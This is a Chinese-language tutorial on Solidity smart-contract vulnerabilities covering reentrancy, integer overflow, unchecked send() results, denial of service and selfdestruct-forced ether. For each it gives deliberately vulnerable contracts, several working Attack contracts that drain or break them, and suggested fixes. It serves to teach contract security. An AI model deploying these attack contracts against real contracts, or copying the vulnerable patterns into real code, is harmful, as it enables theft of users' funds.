赞
踩
攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行持续取钱。
刚才试了一下可以递归10次,貌似就结束了(version: 0.8.20)。
直接看代码:
分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。
- // SPDX-License-Identifier: MIT
- pragma solidity >= 0.8.0 <= 0.9.0;
-
- contract Bank {
- mapping (address => uint) public balances; // 账户 => 余额
-
- // 存钱函数
- function desposit() public payable {
- require(msg.value >0, "save money cannot be zero");
- balances[msg.sender] += msg.value;
- }
-
- // 取钱函数
- function withdraw() public{
- require(balances[msg.sender] >0,"balance is not exists");
- (bool success,) = msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
- balances[msg.sender] = 0; // 置0 操作
- }
-
- // 查看账户余额
- function getBalance() public view returns(uint){
- return balances[msg.sender];
- }
-
- }
-
- contract Attack {
-
- Bank public bank;
-
- constructor( address _bankAddress){
- bank = Bank(_bankAddress);
- }
-
- // 攻击函数
- function attack() public payable {
- bank.desposit{value:msg.value}();
- bank.withdraw();
- }
-
-
- receive() external payable {
- if(address(bank).balance >0){ //如果银行合约还有钱持续调用
- bank.withdraw();
- }
- }
- }
1. 采用更为安全的转账函数
原理:函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas,从而报错进行合约状态回滚。
<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。payable 标识符
在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。
2.互斥锁
原理: 第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。
3. 先将账户余额置0,再转账
原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在
计算机领域里所发生的。运行单项数值计算时,当计算产生出来的
结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为
算术上溢。反之,称为算术下溢。
我的理解:输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。
举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?
我们可以把 0 - 5看成一个圈, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;
3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。
看代码:
- // SPDX-License-Identifier: MIT
- pragma solidity >= 0.8.0 <= 0.9.0;
-
- contract TimeLock {
- mapping(address => uint) public balances;
- mapping(address => uint) public lockTime;
-
- // 存钱并且冻结账户一周
- function deposit() public payable {
- balances[msg.sender] += msg.value;
- lockTime[msg.sender] = block.timestamp + 1 weeks;
- }
-
- // 增加冻结时间
- function addLcokTime(uint _time) public {
- lockTime[msg.sender] += _time;
- }
-
- // 取钱
- function withdraw() public {
- require(balances[msg.sender] > 0, "balance cannot be zrro");
- require(block.timestamp > lockTime[msg.sender] , " account is still frozen");
- uint _value = balances[msg.sender];
- balances[msg.sender] = 0;
- (bool success,) = msg.sender.call{value:_value}("");
-
- }
-
- }
-
- contract Attack{
- receive() external payable {}
-
- TimeLock public timelock;
-
- constructor(address _timelock) {
- timelock = TimeLock(_timelock);
- }
-
- function attack() public payable {
- timelock.deposit();
- timelock.addLcokTime(
- type(uint).max + 1 - timelock.lockTime(address(this))
- // 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0. 6 -6 =0
- );
- timelock.withdraw();
- }
- }
其实引入SafaMath库.参考这篇博客,其实原理很简单。
solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客
我们把TimeLock 合约修改如下:
我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。
- contract TimnLock {
- ......
- function sum(uint a, uint b) public pure returns(uint){
- uint c = a + b;
- require(c >=a && c >= b, "overflow is trigger!");
- return c;
- }
- ......
-
- }
在soldity中,像send、call、callcode、delegatecall和staticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。
看下面代码:
我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。
假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。
我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。
- contract Lotto{
- bool public payedOut = false;
- address public winner; // 获胜者
- uint private winAmount = 10000; // 获胜金额
-
-
- // 2.向获胜者发送奖金
- function sendTowinner(address _addr) public {
- require(!payedOut);
- winner = _addr;
- payable(winner).send(winAmount);
- payedOut = true;
- }
-
- // 3. 向外进公开获胜者的金额数量
- function getWinAmount() public view returns(uint){
- require(payedOut);
- return winAmount;
- }
-
- // 1.赞助商赞助奖金
- function desposit() public payable {
- winAmount = msg.value;
- }
-
-
- }
- // 向获胜者发送奖金
- function sendTowinner(address _addr) public {
- require(!payedOut);
- winner = _addr;
- bool success = payable(winner).send(winAmount);
- // payable(winner).transfer(winAmount); ,失败直接会报错
- require(success,"send falied");
- payedOut = true;
- }
我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。
举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。
这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。
看代码:
- // SPDX-License-Identifier: MIT
- pragma solidity >= 0.8.0 <= 0.9.0;
- /*
- *@tile: 分发代币
- */
- contract DistributeTokens{
- uint public amount;
- address public owner;
- address[] public investors; // 投资者数组
- uint[] public investorTokens; // 每个投资者的token
- uint currentIndex;
- event Transfer(address _from, uint _amount); // 转让代币触发的事件
- constructor(){
- owner = msg.sender;
- }
-
- // 投资者调用,记录每个投资者的地址,和应该分发的代币
- function invest() public payable {
- investors.push(msg.sender);
- investorTokens.push(msg.value *5);
- }
-
- // 首次代币分发
- function distribute() public {
- require(msg.sender == owner);
- for (uint i =0;i < investors.length && gasleft() > 30000; i++) {
- transferToken(investors[i],investorTokens[i]);
- currentIndex = i;
- }
- }
-
-
- function transferToken(address _from,uint _amount) public {
- // 在这里执行代币转移操作,将代币从合约地址转移到投资者地址
- amount += _amount; // 记录总代币
- emit Transfer(_from,_amount);
- }
-
- }
在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。
解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。
上面代码修改:
通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。
在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。
在 ICO 结束后,如果特权用户丢失,其私钥可能会变为非活动状
态,此时,无法调用 finalize() 函数开启交易,那么用户就一直不能发送代
币,合约也就不能进行正常操作了。
解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。
参考资料:
智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)
首先,这个在0.8.21版本自毁函数不支持用了。
看下面代码,我们有一个存钱函数,每次只能存一个Ether,如果合约余额大于7个Ether就终止,合约balance == 7个Ether就选出获胜者,并且能赢得这个7个Ether。
- // SPDX-License-Identifier: MIT
- pragma solidity ^0.8.10;
-
- contract EtherGame {
- uint public targetAmount = 7 ether;
- address public winner;
- // 存钱
- function deposit() public payable {
- require(msg.value == 1 ether, "You can only send 1 Ether");
-
- uint balance = address(this).balance;
- require(balance <= targetAmount, "Game is over");
-
- if (balance == targetAmount) {
- winner = msg.sender;
- }
- }
-
- // 获胜者取钱
- function claimReward() public {
- require(msg.sender == winner, "Not winner");
-
- (bool sent, ) = msg.sender.call{value: address(this).balance}("");
- require(sent, "Failed to send Ether");
- }
- }
然后我们,再看漏洞代码,将attack()函数将合约自毁后,将剩余余额发送给EtherGame合约,
假如,我们上面合约余额正好 == 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth,那么game合约由于合约逻辑将无法选出获胜者,那么正常用户通过合约存进的以太币将全部打水漂。。
- contract Attack {
- EtherGame ethergame;
-
- constructor(address _ethergame) {
- ethergame = EtherGame(_ethergame);
- }
-
- function attack() public payable {
- address payable adr = payable(address(ethergame));
- selfdestruct(adr);
- }
- }
不宜使用合约真实balance 来作为逻辑判断条件。
下方,我们定义合约余额变量来映射真实合约余额,就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。